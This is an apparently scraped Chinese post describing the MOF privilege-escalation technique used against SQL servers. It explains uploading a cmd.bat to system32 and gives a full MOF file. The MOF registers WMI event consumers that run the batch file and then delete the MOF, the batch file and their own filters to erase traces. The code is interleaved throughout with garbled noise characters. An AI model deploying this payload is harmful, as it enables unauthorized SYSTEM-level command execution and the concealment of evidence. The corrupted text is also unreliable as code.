这个sql提权MOF需要运行 system下的文件,不能定义路径。
3 i5 {3 I; `9 n+ d需要将要运行的命令写入到bat上传到system32目录,然后执行。5 W6 V! [* y$ ~: x
0 }- J' l: ?$ ~# F# U
这个sql提权MOF需要运行 system下的文件,不能定义路径。( c% Y( K% G! m+ q1 {/ U
需要将要运行的命令写入到bat上传到system32目录,然后执行。
& h' L i4 _, w8 X) y5 }' U0 A$ w1 F' w! `# O% D& h0 c( D, I
#pragma
9 Z; Z S% U& g6 B3 B4 {7 y namespace("\\\\.\\root\\cimv2")1 U3 k3 b) `$ w
class4 p# W6 ~9 ?# C# f! m/ `
MyClass547
( W0 ?4 W; h" }* m; H* W% o% e { [key]
5 F- C, G! D4 X5 l! c6 Q& F string# |/ {* u' K! R J4 z
Name;
+ C( }/ ?- ~) e& T+ G };; C( N q8 A9 g' T' R, {* I
class
# M6 j* l9 B1 q" n* N/ m0 f) u1 D ActiveScriptEventConsumer
" l- s3 c7 U1 Q9 g0 q, [5 ?) j : __EventConsumer { [key]
8 |7 t) x9 ]. S5 Z6 h9 Y string) w N; v6 d7 u9 N( F
Name; [not_null]* q2 Y5 F0 y4 k2 v1 \
string* [5 ~! l% A* \, ?
ScriptingEngine; string' O( p; S7 R( k, ]/ q4 U% H
ScriptFileName; [template]
* ]. Z' u* O& T* N5 r& E$ G string& L3 D8 K' k8 z J0 e
ScriptText; uint32 KillTimeout;+ s2 x7 v; \8 Z
}; instance of __Win32Provider as $P {
1 P! U& m3 w! E6 i) Z% } Name
K: ]* P# U( x4 [, a1 X/ c =
7 x2 I; N v3 s9 s( ] "ActiveScriptEventConsumer"; CLSID =
' e/ W+ b8 }- H9 \ "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";. \+ @ e- h) b3 Z+ L- q
PerUserInitialization# [( R! h- N# o9 k
= TRUE;
0 z: v9 R" R* h6 f" {6 ^ }; instance of __EventConsumerProviderRegistration { Provider+ h6 }7 }- ^) i' v, R! X. U
= $P; ConsumerClassNames7 e* b' J0 V9 ~$ r! X8 w
=+ g+ _1 j$ S0 N) l
{"ActiveScriptEventConsumer"};( u) U7 F) D( g/ o3 J: @
};) a% ` A8 }' n4 T& n% n' p
Instance of ActiveScriptEventConsumer' ]; h9 b; }/ e9 ?( m, x
as $cons { Name7 R9 G7 x0 R8 v/ M* k
=
# V6 ^1 i3 h9 A L "ASEC"; ScriptingEngine
, ^# t7 `8 Q+ j1 v x =1 [+ k& ~6 T0 J" _
"JScript"; ScriptText q% g) q' N- v8 }
=; F4 E: W. h5 R l; u4 a# V
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
' Q) v3 R# _, L* t Instance of ActiveScriptEventConsumer* P3 S' k* C* s# g* b" ~
as $cons2 { Name
+ _4 E% y" f# X =( u+ H; ?7 j' a" J, n% Q
"qndASEC"; ScriptingEngine
8 n$ q* G- \9 V =
. c5 @; ]. {- I/ |/ Q* G "JScript"; ScriptText
; d0 K6 r) H3 C0 Q# O* b =
; ~" i* p4 q" Y* W3 m "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
& b8 g+ S7 w8 y }; instance of __EventFilter as $Filt { Name
7 O% }( ^( K; U9 L; F1 r8 n: u! M =
$ k; D, P& f/ i! C! | "instfilt"; Query
' L4 i8 g' b$ d+ e) E! \" e =1 ^4 P, @$ m( G7 I) ^
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
. a' X8 Z5 V, v5 ` =
; S1 Z* A4 p0 Y: U% K x! l "WQL"; }; instance of __EventFilter as $Filt2 { Name
3 n" z# E# _( m* R- l9 Z =* i8 h x* t; P) F# ]( z
"qndfilt"; Query
* ?* v2 X6 u: D+ \7 h =
7 k# @( ?" J8 J- c9 s8 g8 ` "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage9 H- O. r: L8 C0 [4 ]
=
# h# u7 r6 @! ?- S) p5 C "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer8 w# i4 x9 X& ^, Y* R( Q% \
= $cons; Filter
2 r/ N9 B3 w( G( m+ c = $Filt;
& `2 h4 Q& S- H* w( F8 U }; instance of __FilterToConsumerBinding as $bind2 { Consumer
7 V4 |$ V! v0 k5 X+ t3 ]; o5 F S = $cons2; Filter' q7 w, E& Z9 o; g. E3 i( k4 {# u
= $Filt2;* J+ K8 _4 K/ F# U
}; instance of MyClass547
! P- w8 c+ f! G( W* m as $MyClass { Name
+ N5 e. x4 n, m' D =$ F9 x+ O( V% E0 A# f- k
"ClassConsumer";1 Q, B7 c, N0 l- G" p1 ~( ]
}; |